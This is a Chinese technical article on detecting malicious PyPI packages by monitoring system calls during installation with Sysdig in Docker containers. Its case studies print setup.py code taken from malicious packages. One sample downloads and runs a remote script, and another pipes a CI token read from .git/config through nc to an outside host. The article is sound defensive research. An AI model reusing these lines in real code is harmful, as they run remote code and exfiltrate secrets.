技术分享 | 如何在PyPI上寻找恶意软件包
字数 1371 2025-08-15 21:32:37
在PyPI上检测恶意软件包的动态分析方法
1. 背景与概述
Python软件基金会(PyPI)作为Python生态系统的核心基础设施,面临着恶意软件包上传的安全挑战。本文详细介绍了一种通过动态分析检测PyPI恶意软件包的方法,主要监控软件包安装过程中的系统调用行为。
2. 恶意软件包的常见行为模式
恶意软件包通常通过setup.py文件执行恶意操作,主要行为包括:
- 系统调用滥用:通过syscalls执行文件操作、网络连接或命令执行
- 代码混淆:使用复杂编码隐藏实际恶意代码
- 依赖链攻击:通过合法依赖间接引入恶意行为
3. 动态分析方法的核心原理
3.1 系统调用监控的价值
- 绕过代码混淆:直接观察实际行为而非源代码
- 全面覆盖:捕获所有内核级别的操作
- 结构化分析:系统调用提供标准化的行为数据
3.2 工具选择:Sysdig
Sysdig被选为主要工具,因其具有:
- 结构化输出能力
- 精细的事件过滤功能
- 容器环境友好
4. 实施步骤详解
4.1 获取PyPI软件包列表
- 使用PyPI Simple API获取完整包列表:
curl https://pypi.org/simple/ | pup 'a text{}' > pypi_full.txt
- 处理约268,000个软件包
4.2 分析环境搭建
- Docker容器隔离:每个包在独立容器中安装
- Sysdig监控配置:
- 只监控目标容器事件
- 过滤掉与pypi.org/files.pythonhosted.com的正常通信
4.3 分布式处理架构
- 使用EC2实例集群并行处理
- 数据处理流程:
- 获取包元数据
- 启动容器安装包
- 同时收集系统调用和网络流量
- 数据存储:约1TB数据存入S3,涵盖245,000个包
5. 数据分析方法
5.1 网络行为分析
-
关键发现:
- 460个包与109台独立主机建立连接
- 需区分合法依赖和恶意行为
-
分析方法:
- 依赖关系映射
- 非标准域名的连接评估
5.2 命令执行分析
- 关键数据:
- 60,725个包在安装期间执行命令
- 分析方法:
- 命令内容审查
- 执行上下文评估
- 依赖链追溯
6. 典型案例分析
6.1 i-am-malicious包
-
恶意行为:
- 从gist.github.com下载Python脚本
- 本地执行下载的脚本
- 创建标记文件
/tmp/malicious-was-here
-
setup.py关键代码:
from urllib.request import urlopen
handler = urlopen("https://gist.githubusercontent.com/.../malicious.py")
with open("/tmp/malicious.py", "wb") as fp:
fp.write(handler.read())
import subprocess
subprocess.call(["python", "/tmp/malicious.py"])
6.2 maliciouspackage包
-
恶意行为:
- 安装socat工具
- 提取.git/config中的CI令牌
- 外传至laforge.xyz
-
setup.py关键代码:
import os
os.system('apt install -y socat')
os.system('grep ci-token /app/.git/config | nc laforge.xyz 5566')
6.3 easyIoCtl包
-
可疑行为:
- 执行
touch /tmp/testing123 - 使用复杂混淆技术隐藏真实意图
- 执行
-
代码反混淆:
# 原始混淆代码
control_flow_guard_controls = 'l0nE@`eBYNQ)Wg+-,ka}fM(=2v4AVp"
7. 方法优势总结
- 绕过混淆:系统调用层面监控不受代码混淆影响
- 行为聚焦:直接观察实际恶意行为而非潜在漏洞
- 全面覆盖:捕获所有内核级别的操作
- 自动化友好:适合大规模自动化分析
8. 实施建议
- 持续监控:建立PyPI包的自动化监控流水线
- 行为基线:建立合法行为的基准模式
- 多维度关联:结合静态分析与动态分析
- 社区协作:共享恶意模式特征
9. 扩展应用
该方法可适配其他包管理器:
- npm (Node.js)
- RubyGems (Ruby)
- CRAN (R)
- Maven (Java)
通过调整监控策略和工具配置,可建立跨生态系统的恶意包检测体系。